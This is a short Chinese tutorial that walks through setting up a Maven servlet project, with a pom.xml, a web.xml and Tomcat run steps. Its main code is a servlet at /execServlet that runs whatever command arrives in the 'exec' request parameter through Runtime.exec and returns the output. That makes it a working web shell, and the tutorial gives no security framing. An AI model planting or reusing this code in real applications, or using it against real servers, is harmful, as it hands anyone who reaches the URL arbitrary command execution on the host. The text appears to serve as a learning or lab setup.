1、创建一个maven项目
2、编辑一个Pom.xml

<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><groupId>servlet</groupId><artifactId>servlet</artifactId><version>1.0-SNAPSHOT</version><dependencies><dependency><groupId>javax.servlet</groupId><artifactId>servlet-api</artifactId><version>2.5</version><scope>provided</scope></dependency></dependencies></project>
如果有一些报错,直接把该文件删掉,.m2\repository,再重新导入即可
3、添加一个Web依赖
4、写一个web.xml+serlver

<web-app><display-name>Archetype Created Web Application</display-name><servlet><servlet-name>ServletDem</servlet-name><servlet-class>servlet</servlet-class></servlet><servlet-mapping><servlet-name>ServletDem</servlet-name><url-pattern>/execServlet</url-pattern></servlet-mapping></web-app>

servlet代码
import javax.servlet.ServletException;import javax.servlet.ServletOutputStream;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.InputStream;@WebServlet("/execServlet")public class execServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doGet(request, response);}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {String exec = request.getParameter("exec");Process res = Runtime.getRuntime().exec(exec);InputStream inputStream = res.getInputStream();ServletOutputStream outputStream = response.getOutputStream();int len;byte[] bytes = new byte[1024];while ((len = inputStream.read(bytes)) != -1) {outputStream.write(bytes, 0, len);}}}
5、添加一个tomcat配置,要选择+号,而不是选择templates
6、调试运行
在application context 下配置一个/即可
输入路径即可


